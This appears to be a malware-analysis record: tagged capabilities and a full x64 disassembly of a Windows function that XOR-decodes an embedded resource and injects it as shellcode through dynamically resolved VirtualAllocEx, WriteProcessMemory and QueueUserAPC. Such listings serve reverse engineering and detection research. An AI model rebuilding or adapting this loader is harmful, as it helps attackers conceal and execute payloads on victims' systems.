Function at 0x14000cb89
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Link many functions at runtime

Disassembly:
jmp 0x14000cb89
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov edx, 0x65
mov r8d, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x14000cc65
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000cc65
mov rbx, rax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x14000cc65
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov edx, 8
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc65
mov rsi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, rsi
mov rdx, rax
mov r8, rdi
call fcn.140003585
xor eax, eax
lea rcx, str.0x13
mov edx, eax
and edx, 3
mov dl, byte [rdx + rcx]
xor byte [rsi + rax], dl
inc rax
cmp rdi, rax
jne 0x14000cc23
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000cc76
lea rdx, str.OpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
jmp 0x14000cc79
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor r14d, r14d
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000cca0
lea rdx, str.VirtualAllocEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
jmp 0x14000cca3
xor r15d, r15d
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000ccca
lea rdx, str.WriteProcessMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
jmp 0x14000cccd
xor r12d, r12d
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000ccf4
lea rdx, str.OpenThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
jmp 0x14000ccf7
xor r13d, r13d
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000cd1e
lea rdx, str.QueueUserAPC
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
jmp 0x14000cd20
xor ebp, ebp
movq xmm0, r14
movq xmm1, r15
punpcklqdq xmm1, xmm0
movq xmm0, r13
movq xmm2, r12
punpcklqdq xmm2, xmm0
pxor xmm0, xmm0
pcmpeqd xmm2, xmm0
pcmpeqd xmm1, xmm0
movdqa xmm0, xmm1
shufps xmm0, xmm2, 0xdd
shufps xmm1, xmm2, 0x88
andps xmm1, xmm0
movmskps eax, xmm1
test eax, eax
jne 0x14000ce4d
test rbp, rbp
je 0x14000ce4d
mov ecx, 0x1fffff
xor edx, edx
mov r8d, ebx
call r14
test rax, rax
je 0x14000ce4d
mov rbx, rax
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r8, rdi
mov r9d, 0x3000
call r15
test rax, rax
je 0x14000ce44
mov r14, rax
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rax
mov r8, rsi
mov r9, rdi
call r12
test eax, eax
je 0x14000ce2f
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, 0x10
xor edx, edx
mov r8d, eax
call r13
test rax, rax
je 0x14000cdf4
mov rdi, rax
mov rcx, r14
mov rdx, rax
xor r8d, r8d
call rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
mov edx, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_SleepEx]
mov rcx, rbx
mov rdx, r14
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]